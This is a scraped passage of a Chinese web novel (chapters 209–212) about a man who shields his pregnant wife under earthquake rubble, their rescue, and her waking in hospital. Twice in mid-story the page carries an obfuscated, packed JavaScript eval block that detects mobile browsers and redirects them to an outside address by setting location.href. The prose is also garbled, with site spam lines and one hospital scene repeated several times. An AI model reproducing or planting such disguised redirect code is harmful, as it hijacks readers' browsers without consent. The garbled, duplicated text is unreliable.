陆京洲的意识已经完全混乱了,一个人在胡言乱语,“笙笙,你还记得埋豆丁的那个墓地吗?我的母亲也是葬在那里……等宝宝出生之后,你可以带他们去看看她吗? 岑予衿的心脏像是被那断断续续的话语揉碎了,疼得她几乎窒息。 她死死咬着下唇,不让自己哭出声,怕惊扰了他那点摇摇欲坠的意识,只能把脸埋在他的颈窝,任由眼泪无声地浸湿他冰冷的衬衫。 “我记得……她的声音哽咽得不成样子,指尖紧紧攥着他的手,仿佛那是她唯一的救命稻草,“我记得那个墓地,有好多漂亮的白菊,豆丁就埋在最边上的那棵梧桐树下。 她顿了顿,吸了吸鼻子,努力让自己的声音听起来平稳一些,哪怕那平稳之下是汹涌的绝望,“可是我都不知道妈妈喜欢什么花,我们一起去看她,我要告诉她,你有多好,有多爱我们……我们一起去。 陆京洲没有回应,耳边的嗡鸣声越来越响,眼前的黑暗像是潮水般涌来,几乎要将他彻底吞没。 你的朋友正在书荒,快去帮帮他吧 他想再听听她的声音,想再摸摸她的脸,想告诉她,他真的很想陪着她,陪着宝宝,可是身体里的力气像是被抽干了一样,连动一下手指都成了奢望。 他的呼吸越来越微弱,每一次吸气都带着沉重的杂音,仿佛下一秒就会彻底停止。 岑予衿能清晰地感觉到他身体的温度在一点点流失,那支撑着上方重量的手臂也开始微微颤抖,却依旧固执地没有松懈。 她的心像被一只无形的手紧紧攥住,痛得她浑身痉挛。 “阿洲,你别睡好不好?”她贴着他的耳朵,声音轻得像耳语,却带着无尽的恳求,“我还没告诉你我的秘密呢……你听我说完,再睡好不好?” “我不是周芙笙,我叫岑予衿,是那个破产的岑家大小姐……” 她语速极快地说着,像是怕再不说就没机会了,“我骗了你这么久,我以为能瞒一辈子,可是我现在想告诉你,我想让你知道我的真名,想让你记住真正的我……” “我知道我配不上你,知道我是个骗子,可是我真的好爱你,好爱宝宝……” 她的声音越来越低,越来越绝望,“我从来没有后悔过遇见你,从来没有后悔过和你在一起,哪怕是现在,我也不后悔……” 她的话还没说完,就感觉到怀中人的呼吸猛地一滞,随后便彻底平息了下去。 那只紧紧握着她的手,也失去了最后的力气,缓缓垂落。 只有那只撑在墙壁上的手臂,依旧保持着原来的姿势,像是一尊凝固的雕塑,用最后的姿态,护着她和她腹中的孩子。 黑暗中,岑予衿僵住了,浑身的血液仿佛瞬间凝固。 她不敢相信,不敢去确认,只能颤抖着伸出手,探向他的鼻息。 没有了。 那微弱得几乎要消失的呼吸,彻底没有了。 “阿洲?”她的声音带着一丝颤抖的试探,“陆京洲?” 没有回应。 “你别吓我……”她的声音越来越大,带着崩溃的哭腔,“陆京洲!你醒醒!我还没说完呢!你醒醒啊!” 她用力摇晃着他的身体,可他却像睡着了一样,一动不动,脸色苍白得像纸,嘴唇干裂,毫无生气。 废墟外隐约传来救援队的呼喊声和挖掘声,越来越近,越来越清晰,可岑予衿的世界,却彻底陷入了死寂。 她抱着他冰冷的身体,泪水汹涌而出,却发不出一点声音。 她只能一遍遍抚摸着他的脸颊,抚摸着他那只依旧保持着 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怀里的陆京洲依旧一动不动,那只撑在墙壁上的手臂已经僵硬得如同化石,可依旧固执地为她挡着上方的残垣断壁。 岑予衿死死抱着他的腰,指尖抠进他冰冷的衣料里,像是要将自己和他嵌在一起。 “他还有气!他只是睡着了!”她语无伦次地嘶吼,泪水混合着脸上未干的血污滑落,在布满灰尘的脸上冲出两道狼狈的痕迹,“你们快救他!他不能死!他还有宝宝要养,他答应过要陪我一起看宝宝出生的!” 救援人员看着她隆起的小腹,又看了看那个以生命为盾的男人,眼底的酸涩更甚。 他们加快了清理的动作,液压钳剪开钢筋的声音在狭小的空间里回荡,可每一次震动都让岑予衿的心提到嗓子眼。 她怕这微弱的晃动会压垮陆京洲最后的支撑,更怕醒来后再也触不到他的温度。 “快一点……再快一点……”她不停地哀求,声音微弱却带着近乎疯狂的执着,“求求你们,救救他,我什么都可以给你们,只要你们能救他……” 她低头,额头抵着陆京洲冰冷的额头,泪水滴在他干裂的嘴唇上,“阿洲,你听到了吗?救援队来了,他们会救你的,你再撑一会儿,就一会儿……” “我求求你了,不要丢下我一个人,求你了!” 第210章 阿洲,我们都要好好的 救援队清理碎石的声响在岑予衿耳中忽远忽近,她全部的感官都集中在怀中逐渐冰冷的身躯上。 她的手指无意识地抚过他僵直的背脊,那脊梁曾在无数个夜里温柔地环抱着她。 此刻却坚硬如铁,以一个永恒守护的姿态凝固。 “小心点!这里还有一根横梁!”队长嘶哑的声音带着急切。 几双戴着厚手套的手,极轻地将那根粗重的断裂梁木从陆京洲弓起的背上移开。 当最后一块压在他肩头的混凝土碎块被拿开时,整个救援现场仿佛被按下了静音键。 陆京洲的身体失去了上方重物的压迫,却依然保持着原来的姿势。 双膝跪地,上身弓起,双臂如同最坚固的拱桥,一手死死撑住侧方摇摇欲坠的墙体,另一只手…… 救援队员的眼眶瞬间红了。 那只手,紧紧攥着拳头,抵在岑予衿头部上方的位置,手背上青筋暴起。 指节因为极度的用力而泛白、变形,几乎与冰冷的砖石嵌在一起。 在最后一刻,仍想用血肉之躯为她隔绝开所有危险。 他就那样跪着,像一尊沉默的守护神像,将岑予衿完完整整地庇护在自己用生命撑起的狭小空间里。 灰尘覆满他黑色的短发,血污和泥土模糊了他英俊的侧脸,只有那紧抿干裂的嘴唇,还残留着一丝未散的执拗。 而被他牢牢护在身下的岑予衿,除了脸上沾满灰尘,头发凌乱,身上裹着羽绒被,头顶都有枕头护着。 救援队员小心地检查,震惊地发现,她裸露在外的手臂,手指,竟连一丝轻微的擦伤都没有。 在那个天崩地裂的灾难时刻,他将所有的冲击和伤害,都用肉身接下了。 更让人心头发颤的是,在他身体圈出的安全角落的地面上,散落着几块包装完好的巧克力和一瓶尚未开封的矿泉水。 瓶子被仔细地放在相对平整的地方,巧克力就在岑予衿触手可及之处。 那是他为她和孩子准备的最后一点生存的希望。 “还有生命体征!很微弱,快!”经验丰富的医疗队员迅速上前,指尖轻触陆京洲颈侧,随即大吼。 那声音如同惊雷,劈开了岑予衿几乎凝固的绝望。 她猛地一颤,涣散的目光骤然聚焦,死死盯住医疗队员的动作。 氧气面罩被轻柔又迅速地扣在陆京洲灰败的脸上,监护仪的导线连接上他冰冷的手腕。 仪器发出规律的滴滴声,虽然代表心率 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 的线条微弱起伏,却顽强地跳跃着。 “血压极低,体温过低,严重脱水,多处骨折,内脏情况不明,必须立刻送医! 医生语速飞快,手下不停。 担架被小心地送入这个刚刚被挖掘出的生命巢穴。 移动他变得异常困难,因为他的身体因长久的僵直和创伤几乎失去了柔韧性,尤其是那只撑墙的手臂,需要两名队员极其谨慎地协力,才一点一点地将它从墙体上“剥离。 整个过程,岑予衿的眼睛一眨不眨,她的嘴唇咬出了血,却不敢发出一点声音,怕惊扰了这关乎生死的一线操作。 当陆京洲的身体终于被平稳地移上担架,固定好。 准备抬走时,岑予衿像是突然被抽走了全身力气,却又爆发出一股蛮劲,挣扎着想要跟着爬出去,“让我跟着他!求求你们! “别动!你还有宝宝! 岑予衿被半强制地安置在另一副担架上,目光却像被钉在了前方那个被快速抬走的身影上。 担架经过她身边时,她看到陆京洲那只曾紧紧握着她的手,无力地垂在担架边缘,沾满污渍,指节依旧微微蜷曲。 废墟上方,天光刺眼。 救护车刺耳的鸣笛声划破长空。 躺在疾驰的救护车里,岑予衿侧着头,透过连接前后舱的小窗,死死望着隔壁舱室里医护人员忙碌的身影围绕着的陆京洲。 各种仪器闪烁着冰冷的光,输液管悬挂着,氧气面罩上规律地蒙上又散开白雾。 她的手下意识地覆上自己隆起的小腹。 这里,有两个小小的生命正在安然沉睡,全然不知它的父亲正游走在生死边缘,用怎样决绝的姿态,为他们换来他们的平安。 泪水再次无声滑落,冲刷着脸颊上的污迹。 她不再嘶喊,只是用尽全身的力气,在心里重复了一遍又一遍。 陆京洲,我是岑予衿……你听见了吗?你要活着……你必须活着……我和宝宝,在等你回家。 我就是个骗子,彻头彻尾的大骗子。 你要打我,骂我,惩罚我,哪怕要离婚也好,必须得坚持住。 自责和悔恨如同无数细密的针,扎遍她的四肢百骸。如果不是她,如果不是她这个顶着别人名字的骗子,他或许不会经历这一切。他本 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 该有更平顺的人生,而不是在废墟之下,用血肉为她筑起坟墓般的屏障。 “对不起……对不起……滚烫的眼泪大颗大颗地滚落,浸湿了担架上粗糙的布料。她紧紧攥着身下的单子,指甲几乎掐进掌心,试图用身体的疼痛来抵御那几乎要将她淹没的心痛和恐惧。 救护车一个急转弯,稳稳停住。后门被猛地拉开,嘈杂的人声、推车滚轮与地面摩擦的锐响、更多的指令声轰然涌入。 “重伤员这边!直接送三号手术室! “孕妇检查室准备! 她被迅速抬下,担架轮子滚动起来。在移动的间隙,她挣扎着侧头,最后一眼看见陆京洲的担架被一群白大褂簇拥着,飞快地推向走廊深处那扇亮着“手术中红灯的大门。他的身影那么苍白,那么安静,消失在门的另一侧,仿佛被那刺目的红光吞噬。 那扇门,隔开了生死。 最后一根弦,断了。 一直强撑着的意志,在看到他进入手术室的瞬间,轰然崩塌。极致的恐惧、漫长的精神煎熬、身体脱水的虚弱、得知他还有微弱气息后短暂松懈又立刻绷紧的情绪……所有的一切叠加在一起,超过了这具孕育着两个生命的身体所能承受的极限。 眼前的光影骤然扭曲、变暗,耳边的喧嚣急速远去,化为嗡鸣。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012670|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孕妇情况不对!脉搏很快! “女士能听见吗? 女救援队员焦急的呼唤变得飘渺,像是从很远的水底传来。 岑予衿努力想睁大眼睛,想再看一眼那扇手术室的门,想再在心里喊一声他的名字,可眼皮沉重得如同铅铸。 冰凉的触感贴上她的额头,有人掰开她的眼皮用手电照射,但她只能看到一片模糊晃动的光斑。 身体的感觉正在抽离,连腹中孩子们的躁动也渐渐感知不到了。 只有一滴泪,顺着她紧闭的眼角,缓缓滑过沾满灰尘和泪痕的脸颊,留下最后一道冰凉湿润的轨迹,没入鬓边的乱发。 在彻底陷入黑暗的前一秒,她残留的意识里,只剩下一个微弱到几乎无法捕捉的念头:陆京洲,你要活下来……求你…… “快!把她推到急救床!血压多少?急诊科主任的声音带着不容置疑的急促,白大褂的下摆随着他疾步走动的动作翻飞。 抬担架的救援队员几乎是小跑着将岑予衿转运至抢救台,女队员紧随其后,语速飞快地汇报。 “她被困废墟至少八小时,被护住时没外伤,但一直精神紧绷,刚看到丈夫进 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 手术室就晕过去了!怀孕大概七八个月,是双胎!” “胎心监护仪!立刻上!”周主任话音未落,护士已经迅速将电极片贴在岑予衿隆起的小腹上,仪器随即发出“嘀嘀”的监测声,只是频率明显偏快,带着一丝不稳的震颤。 “孕妇血压85/50,心率132!胎心一个160,一个155,都超出正常范围了!”护士盯着仪器屏幕,声音发颤。 “脱水加上应激性休克……赶紧送抢救室。” “对了……通知产科那边随时准备待命,会有早产的风险。” 抢救室的门轰然关闭,将救援队员和外面的喧嚣隔绝。 里面只剩下仪器的蜂鸣、医护人员短促清晰的指令、以及金属器械碰撞的冰冷脆响。 无影灯惨白的光打在岑予衿脸上,衬得她面如金纸,了无生气。 护士熟练地剪开她被灰尘汗水浸透的衣物,贴上更多电极片,连接上更多闪烁跳动的线条。 冰冷的耦合剂涂上她高隆的腹部,B超探头压了上去,屏幕上模糊的影像牵动着所有人的心。 昏迷中的岑予衿,对外界的一切都无知无觉。 她被困在一个更深的黑暗里。 黑暗浓稠如墨,寂静无声,只有自己微弱的心跳和远处……不,不是远处! 是身侧传来的,一下又一下,更为沉重缓慢的跳动。 陆京洲的心跳。 还有他压抑到极致的、带着铁锈味的呼吸,喷在她的头顶。 碎石和灰尘簌簌落下,砸在他弓起的背脊上,发出沉闷的响声。 每一次震动,都让她感觉到他身体的颤抖。 她想喊,想让他别说话,节省力气,想问他怎么样了,想摸一摸他流血的地方……可她动不了,连眼皮都沉重得抬不起。 “阿洲,我们都要好好的。” “都要好好的!” 第211章 痛感证明她还活着 岑予衿在消毒水的气味中醒来。 意识回笼的瞬间,她猛地吸了一口气。 肺部传来一阵轻微的刺痛,但这真实的痛感证明她还活着。 随即,昏迷前的画面如同被按下了播放键,呼啸着冲进脑海。 刺眼的救护车顶灯…… 医护人员急促的声音…… 那扇吞噬了陆京洲的亮着红灯的手术室大门…… 以及无边无际的黑暗和绝望。 “呃……”她试图起身,却发现浑身酸软无力,像被抽走了所有筋骨,只有小腹传来清晰而沉重的下坠感,提醒着她那里面有两个安然沉睡的小生命。 手背上传来冰凉的触感,岑予衿侧头,看到透明的输液管正将点滴一滴滴送入她的血管。 一间单人病房,窗帘半拉着,外面是有些晃眼的天光,分不清是清晨还是午后。 房间里很安静,只有监测她生命体征的仪器发出规律而低微的“嘀、嘀”声。 这份安静本该让人心安,此刻却让她心慌得几乎要窒息。 **静了,静得让她只能听见自己擂鼓般的心跳,和那疯狂滋长的恐惧。 陆京洲……他怎么样了? 这个念头一冒出来,就像藤蔓一样死死缠住了她的心脏,越收越紧。 她想起他僵直的背脊,想起他那只指节变形的手,想起他被抬上担架时苍白如纸的脸和无力垂落的手…… “不要……”她发出一声破碎的呜咽,挣扎着想要按呼叫铃,手指颤抖得厉害,试了几次才触到那个红色的按钮。 几乎是在铃响的下一秒,病房门就被轻轻推开了。 进来的不是护士,而是一位穿着白大褂、气质温婉的中年女医生。 她胸前挂着“产科主任周敏”的牌子,脸上带着温和但难掩疲惫的神色。 “你醒了?” 周敏快步走到床边,先快速扫了一眼监护仪上的数据,然后目光落在岑予衿惨白焦急的脸上,声音放得格外柔和,“感觉怎么样?有没有哪里特别不舒服?肚子疼吗?或者有没有下坠、发紧的感觉?” 岑予衿的嘴唇剧烈地颤抖着,她贪婪地看着周敏,试图从医生的表情里寻找一丝一毫关于陆京洲的讯息,是喜是悲? 可她什么也看不出。 也不敢问…… 一句话也不敢问,生怕听到的是自己不敢听的答案。 她张了张嘴,喉咙干涩得发不出完整的音节,只能先摇头,然后才用气声挤出 几个字,“水……” 周敏立刻用棉签蘸了温水,小心地润湿她的嘴唇,然后才用吸管喂她喝了一小口温水。 温水滑过干裂的喉咙,带来一丝舒缓,却也让她更清晰地意识到身体的虚弱和无力。 “宝宝……”岑予衿的手下意识地抚上高耸的腹部,指尖都在颤抖,眼神里是全然的恐惧和哀求,“我的宝宝……” “放心,孩子们很坚强。”周敏握住她冰凉的手,轻轻拍了拍,语气肯定,“监测显示两个宝宝的心跳和活动都基本正常,虽然之前有应激引起的胎心过快,但现在都稳定下来了。没有早产的迹象,这简直是奇迹。你被保护得……非常好。” “奇迹”两个字,像一把带着倒刺的钩子,狠狠扎进岑予衿的心脏。 是啊,奇迹。 是陆京洲用血肉之躯换来的奇迹。 这奇迹的代价…… 她再也忍不住了,另一只没有输液的手猛地抓住周敏的白大褂袖子,力气大得惊人,指节泛白。 她仰着脸,泪水瞬间决堤,汹涌而出,冲刷着脸上未尽的尘灰痕迹,声音破碎得不成样子: “医、医生……我丈夫……陆京洲……他在哪里?他怎么样了?求你……告诉我……求你……” 最后一个“求你”,几乎是用尽全身力气挤出的哀鸣,带着濒死般的绝望和乞求。 她死死盯着周敏的眼睛,不敢眨眼,生怕错过一丝一毫的信息,又恐惧那信息是她无法承受的。 周敏的目光几不可察地闪烁了一下,那里面快速掠过一丝复杂的情绪。 她反手握住岑予衿颤抖的手,声音依旧温和,却带上了一种更谨慎的平稳,“陆太太,你先别激动,控制情绪,为了孩子,也为了你自己。你昏迷了将近三天,身体非常虚弱,现在最需要的是休息和稳定。” “三天……”岑予衿如遭雷击,脸色更加惨白。三天!陆京洲在手术室里待了多久?他现在在哪儿?ICU吗?还是……” 巨大的恐慌攥住了她的喉咙,让她几乎无法呼吸。 她拼命摇头,眼泪止都止不住,“不……我不休息……我求求你告诉我……他还活着对不对?他是不是在重症监护室?我要去看他!让我去看他!” 她说着,竟不顾一切地想要掀开被子下床,输液管被扯得笔直,手背的针头处立刻回血。 “别动!”周敏和刚进来查看情况的护士同时按住她。 护士手忙脚乱地固定好针头,周敏则用了几分力气将她按回 病床,语气加重了几分,带着医生的威严。 “你看看你自己!你现在这个样子,能去哪里?你肚子里还有两个宝宝!你丈夫拼了命把你们保护下来,是为了让你现在这样不管不顾地去送死吗?” 这番话像一盆冰水,带着尖锐的刺,浇在岑予衿沸腾的绝望上。 她僵住了,动作停住,只是眼泪流得更凶,肩膀剧烈地耸动,却发不出大的哭声,只有压抑到极致的抽噎。 “他还活着,是吗?”她抬起头,脸上泪水纵横,眼神却执拗得像要燃烧起来,她不要听任何安慰,只要一个确定的答案,“周医生,求你,就告诉我这个。他还活着,对不对?” 周敏看着她心中无声地叹了口气。 终于,周敏缓缓点了点头,声音清晰地说,“是的,他还活着。” 活着! 还活着…… 只要活着,就有希望。 绷到极致的神经骤然一松,差点昏过去,全靠意志力强撑着。 “但是,”周敏接下来的话,立刻又让她的心提到了嗓子眼,“他的情况……非常严重。你要有心理准备。” 岑予衿死死咬住下唇,尝到了血腥味,她用力点头,眼神一瞬不瞬,“你说,我听着。我能承受。” 指甲深深陷进掌心,用疼痛来维持清醒。 周敏斟酌着词语,语速平缓,但每个字都重若千钧:“他被送进来时,生命体征极其微弱,多发伤,严重失血性休克,体温过低……手术……持续了超过十二个小时。” 十二个小时……岑予衿眼前发黑。 他流了多少血? 承受了多少痛苦? “手术……成功了吗?”她声音嘶哑地问。 “没有脱离生命危险,未来的72小时,甚至一周,都仍然是关键期,随时可能有情况。 他该有多疼? 昏迷中是否还有知觉? “我……我能看看他吗?”她几乎是用气声在乞求,“远远的,看一眼就行……我不进去,我不打扰他……我就想看看他……” 她想确认,他真的还在那里,还在呼吸,哪怕依靠着机器。 周敏这次摇了摇头,态度温和却坚决,“对不起,ICU有严格的探视规定,你现在的情况也不允许。 而且,他现在需要绝对安静的治疗环境,任何外界的干扰,包括情绪波动,都可能影响他脆弱的生命体征。 你现在能为他做的最好的事,就是保重好你自己,和你们的宝宝。” 岑予衿闭上眼,任由泪水汹涌。掌心轻轻贴在小腹上。 两个小生命似乎感应到妈妈剧烈的心绪起伏,轻轻动了动,像是无声的安慰,又像是顽强的生命力在昭示存在。 许久,她缓缓睁开眼,眼中虽然还蓄满泪水,却不再完全是崩溃的绝望,而是多了一丝不容忽视的执拗。 她看向周敏,一字一句,声音沙哑却清晰,“周医生,我明白了。我会好好配合治疗,吃饭,休息,让宝宝们好好的。” 她深吸一口气,仿佛用尽了所有力气,才问出下一个问题,“那……我什么时候,能知道他的……新消息?哪怕……只是一点点的变化?” “每天下午,ICU的主治医生会进行病情通报。我会尽量帮你关注,有稳定一点的消息,就告诉你。但你要答应我,无论听到什么,都要尽量保持情绪稳定,好吗?你的状态,直接影响胎儿。”周敏认真地看着她。 “我答应你。”岑予衿用力点头,嘴唇抿得发白,“我会的。” 周敏又交代了一些注意事项,嘱咐护士密切观察她的情况,这才转身离开病房。走到门口,她回头看了一眼。 病床上的女人依旧苍白虚弱,但她的手始终护在小腹上,目光望着窗外那方狭小的天空,眼神空茫却又似乎凝聚着某种东西。 病房里重新恢复了安静,只剩下仪器的嘀嗒声。 阳光透过窗帘缝隙,在地板上投下一道明亮的光斑,灰尘在光柱中缓缓飞舞。 岑予衿一动不动地躺着,泪水已经流干,眼眶酸涩发疼。 她心里反复回响着周敏的话,回响着废墟下他沉重的呼吸和心跳,回响着救护车里那微弱却顽强的监护仪声响。 “陆京洲……”她对着空气,用只有自己能听见的气声,喃喃道,“你听见了吗?我和宝宝都在等你。你说过,我们要一起回家……” “你不能食言。” “等你好了,我什么都告诉你……你怎么罚我,都行……” “所以,求你……一定要挺过来。” 岑予衿闭上眼,任由泪水汹涌。掌心轻轻贴在小腹上。 两个小生命似乎感应到妈妈剧烈的心绪起伏,轻轻动了动,像是无声的安慰,又像是顽强的生命力在昭示存在。 许久,她缓缓睁开眼,眼中虽然还蓄满泪水,却不再完全是崩溃的绝望,而是多了一丝不容忽视的执拗。 她看向周敏,一字一句,声音沙哑却清晰,“周医生,我明白了。我会好好配合治疗,吃饭,休息,让宝宝们好好的。” 她深吸一口气,仿佛用尽了所有力气,才问出下一个问题,“那……我什么时候,能知道他的……新消息?哪怕……只是一点点的变化?” “每天下午,ICU的主治医生会进行病情通报。我会尽量帮你关注,有稳定一点的消息,就告诉你。但你要答应我,无论听到什么,都要尽量保持情绪稳定,好吗?你的状态,直接影响胎儿。”周敏认真地看着她。 “我答应你。”岑予衿用力点头,嘴唇抿得发白,“我会的。” 周敏又交代了一些注意事项,嘱咐护士密切观察她的情况,这才转身离开病房。走到门口,她回头看了一眼。 病床上的女人依旧苍白虚弱,但她的手始终护在小腹上,目光望着窗外那方狭小的天空,眼神空茫却又似乎凝聚着某种东西。 病房里重新恢复了安静,只剩下仪器的嘀嗒声。 阳光透过窗帘缝隙,在地板上投下一道明亮的光斑,灰尘在光柱中缓缓飞舞。 岑予衿一动不动地躺着,泪水已经流干,眼眶酸涩发疼。 她心里反复回响着周敏的话,回响着废墟下他沉重的呼吸和心跳,回响着救护车里那微弱却顽强的监护仪声响。 “陆京洲……”她对着空气,用只有自己能听见的气声,喃喃道,“你听见了吗?我和宝宝都在等你。你说过,我们要一起回家……” “你不能食言。” “等你好了,我什么都告诉你……你怎么罚我,都行……” “所以,求你……一定要挺过来。” 岑予衿闭上眼,任由泪水汹涌。掌心轻轻贴在小腹上。 两个小生命似乎感应到妈妈剧烈的心绪起伏,轻轻动了动,像是无声的安慰,又像是顽强的生命力在昭示存在。 许久,她缓缓睁开眼,眼中虽然还蓄满泪水,却不再完全是崩溃的绝望,而是多了一丝不容忽视的执拗。 她看向周敏,一字一句,声音沙哑却清晰,“周医生,我明白了。我会好好配合治疗,吃饭,休息,让宝宝们好好的。” 她深吸一口气,仿佛用尽了所有力气,才问出下一个问题,“那……我什么时候,能知道他的……新消息?哪怕……只是一点点的变化?” “每天下午,ICU的主治医生会进行病情通报。我会尽量帮你关注,有稳定一点的消息,就告诉你。但你要答应我,无论听到什么,都要尽量保持情绪稳定,好吗?你的状态,直接影响胎儿。”周敏认真地看着她。 “我答应你。”岑予衿用力点头,嘴唇抿得发白,“我会的。” 周敏又交代了一些注意事项,嘱咐护士密切观察她的情况,这才转身离开病房。走到门口,她回头看了一眼。 病床上的女人依旧苍白虚弱,但她的手始终护在小腹上,目光望着窗外那方狭小的天空,眼神空茫却又似乎凝聚着某种东西。 病房里重新恢复了安静,只剩下仪器的嘀嗒声。 阳光透过窗帘缝隙,在地板上投下一道明亮的光斑,灰尘在光柱中缓缓飞舞。 岑予衿一动不动地躺着,泪水已经流干,眼眶酸涩发疼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012671|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她心里反复回响着周敏的话,回响着废墟下他沉重的呼吸和心跳,回响着救护车里那微弱却顽强的监护仪声响。 “陆京洲……”她对着空气,用只有自己能听见的气声,喃喃道,“你听见了吗?我和宝宝都在等你。你说过,我们要一起回家……” “你不能食言。” “等你好了,我什么都告诉你……你怎么罚我,都行……” “所以,求你……一定要挺过来。” 岑予衿闭上眼,任由泪水汹涌。掌心轻轻贴在小腹上。 两个小生命似乎感应到妈妈剧烈的心绪起伏,轻轻动了动,像是无声的安慰,又像是顽强的生命力在昭示存在。 许久,她缓缓睁开眼,眼中虽然还蓄满泪水,却不再完全是崩溃的绝望,而是多了一丝不容忽视的执拗。 她看向周敏,一字一句,声音沙哑却清晰,“周医生,我明白了。我会好好配合治疗,吃饭,休息,让宝宝们好好的。” 她深吸一口气,仿佛用尽了所有力气,才问出下一个问题,“那……我什么时候,能知道他的……新消息?哪怕……只是一点点的变化?” “每天下午,ICU的主治医生会进行病情通报。我会尽量帮你关注,有稳定一点的消息,就告诉你。但你要答应我,无论听到什么,都要尽量保持情绪稳定,好吗?你的状态,直接影响胎儿。”周敏认真地看着她。 “我答应你。”岑予衿用力点头,嘴唇抿得发白,“我会的。” 周敏又交代了一些注意事项,嘱咐护士密切观察她的情况,这才转身离开病房。走到门口,她回头看了一眼。 病床上的女人依旧苍白虚弱,但她的手始终护在小腹上,目光望着窗外那方狭小的天空,眼神空茫却又似乎凝聚着某种东西。 病房里重新恢复了安静,只剩下仪器的嘀嗒声。 阳光透过窗帘缝隙,在地板上投下一道明亮的光斑,灰尘在光柱中缓缓飞舞。 岑予衿一动不动地躺着,泪水已经流干,眼眶酸涩发疼。 她心里反复回响着周敏的话,回响着废墟下他沉重的呼吸和心跳,回响着救护车里那微弱却顽强的监护仪声响。 “陆京洲……”她对着空气,用只有自己能听见的气声,喃喃道,“你听见了吗?我和宝宝都在等你。你说过,我们要一起回家……” “你不能食言。” “等你好了,我什么都告诉你……你怎么罚我,都行……” “所以,求你……一定要挺过来。” 岑予衿闭上眼,任由泪水汹涌。掌心轻轻贴在小腹上。 两个小生命似乎感应到妈妈剧烈的心绪起伏,轻轻动了动,像是无声的安慰,又像是顽强的生命力在昭示存在。 许久,她缓缓睁开眼,眼中虽然还蓄满泪水,却不再完全是崩溃的绝望,而是多了一丝不容忽视的执拗。 她看向周敏,一字一句,声音沙哑却清晰,“周医生,我明白了。我会好好配合治疗,吃饭,休息,让宝宝们好好的。” 她深吸一口气,仿佛用尽了所有力气,才问出下一个问题,“那……我什么时候,能知道他的……新消息?哪怕……只是一点点的变化?” “每天下午,ICU的主治医生会进行病情通报。我会尽量帮你关注,有稳定一点的消息,就告诉你。但你要答应我,无论听到什么,都要尽量保持情绪稳定,好吗?你的状态,直接影响胎儿。”周敏认真地看着她。 “我答应你。”岑予衿用力点头,嘴唇抿得发白,“我会的。” 周敏又交代了一些注意事项,嘱咐护士密切观察她的情况,这才转身离开病房。走到门口,她回头看了一眼。 病床上的女人依旧苍白虚弱,但她的手始终护在小腹上,目光望着窗外那方狭小的天空,眼神空茫却又似乎凝聚着某种东西。 病房里重新恢复了安静,只剩下仪器的嘀嗒声。 阳光透过窗帘缝隙,在地板上投下一道明亮的光斑,灰尘在光柱中缓缓飞舞。 岑予衿一动不动地躺着,泪水已经流干,眼眶酸涩发疼。 她心里反复回响着周敏的话,回响着废墟下他沉重的呼吸和心跳,回响着救护车里那微弱却顽强的监护仪声响。 “陆京洲……”她对着空气,用只有自己能听见的气声,喃喃道,“你听见了吗?我和宝宝都在等你。你说过,我们要一起回家……” “你不能食言。” “等你好了,我什么都告诉你……你怎么罚我,都行……” “所以,求你……一定要挺过来。” 岑予衿闭上眼,任由泪水汹涌。掌心轻轻贴在小腹上。 两个小生命似乎感应到妈妈剧烈的心绪起伏,轻轻动了动,像是无声的安慰,又像是顽强的生命力在昭示存在。 许久,她缓缓睁开眼,眼中虽然还蓄满泪水,却不再完全是崩溃的绝望,而是多了一丝不容忽视的执拗。 她看向周敏,一字一句,声音沙哑却清晰,“周医生,我明白了。我会好好配合治疗,吃饭,休息,让宝宝们好好的。” 她深吸一口气,仿佛用尽了所有力气,才问出下一个问题,“那……我什么时候,能知道他的……新消息?哪怕……只是一点点的变化?” “每天下午,ICU的主治医生会进行病情通报。我会尽量帮你关注,有稳定一点的消息,就告诉你。但你要答应我,无论听到什么,都要尽量保持情绪稳定,好吗?你的状态,直接影响胎儿。”周敏认真地看着她。 “我答应你。”岑予衿用力点头,嘴唇抿得发白,“我会的。” 周敏又交代了一些注意事项,嘱咐护士密切观察她的情况,这才转身离开病房。走到门口,她回头看了一眼。 病床上的女人依旧苍白虚弱,但她的手始终护在小腹上,目光望着窗外那方狭小的天空,眼神空茫却又似乎凝聚着某种东西。 病房里重新恢复了安静,只剩下仪器的嘀嗒声。 阳光透过窗帘缝隙,在地板上投下一道明亮的光斑,灰尘在光柱中缓缓飞舞。 岑予衿一动不动地躺着,泪水已经流干,眼眶酸涩发疼。 她心里反复回响着周敏的话,回响着废墟下他沉重的呼吸和心跳,回响着救护车里那微弱却顽强的监护仪声响。 “陆京洲……”她对着空气,用只有自己能听见的气声,喃喃道,“你听见了吗?我和宝宝都在等你。你说过,我们要一起回家……” “你不能食言。” “等你好了,我什么都告诉你……你怎么罚我,都行……” “所以,求你……一定要挺过来。” 第212章 想他!很想很想! 自那日起,岑予衿像是把自己活成了一台精密设定好的仪器。 吃饭。 无论送来的餐食多么清淡无味,无论喉咙因为情绪紧张而吞咽困难,她都强迫自己一口一口,一点不浪费地吃下去。 营养师搭配的每一份食物,她都当成是维持她和宝宝,以及支撑陆京洲希望的能量来源。 